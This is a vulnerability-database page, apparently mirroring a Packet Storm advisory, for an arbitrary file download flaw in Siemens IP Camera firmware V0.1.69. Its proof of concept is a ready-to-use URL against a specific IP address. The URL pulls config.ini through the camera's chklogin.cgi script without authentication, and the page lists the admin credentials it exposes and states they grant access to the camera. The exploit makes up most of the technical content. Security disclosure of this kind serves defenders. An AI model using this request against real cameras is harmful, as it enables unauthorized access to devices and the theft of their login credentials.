Lucene search
K

Siemens IP Camera 0.1.69 Arbitrary File Download

🗓️ 14 Sep 2016 00:00:00Reported by Vuppala DhanunjayaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Siemens IP Camera 0.1.69 Arbitrary File Download on Windows 10 and Ubuntu 14.04 LT

Code
`#Exploit Title: Siemens IP Camera :: Arbitrary file download  
# Date: [14-september-2016]  
# Exploit Author: [vuppala.Dhanunjaya]  
# Vendor Homepage: [www.siemens.com]  
# Version: [V0.1.69]  
# Tested on: [Windows 10,ubuntu 14.04 LTS]  
# Email : [email protected]  
  
========================================  
TEAM   
========================================  
  
Harsha Vardhan (https://www.facebook.com/HarshaHere)  
Santosh Kumar (https://www.facebook.com/M4drob0t)  
Akhil Manikanth(https://www.facebook.com/IaMAkIlManIkAnTh)  
Manish Yadav (https://www.facebook.com/spikeymanish)  
  
Thankyou for the support   
  
========================================  
TECHNICAL DETAILS & POC  
========================================  
  
Target : https://78.56.240.235/cgi-bin/chklogin.cgi?rnd=1473849790369  
  
Downloding the config file : cgi-bin/chklogin.cgi?file=config.ini   
  
https://78.56.240.235/cgi-bin/chklogin.cgi?file=config.ini  
  
this config.ini file contains the username nd password of the administration login  
  
account.admin.user_id=admin  
account.admin.password=admin  
account.admin.language=english  
  
using this login credentials we can get into the IPcam  
  
  
Thankyou  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation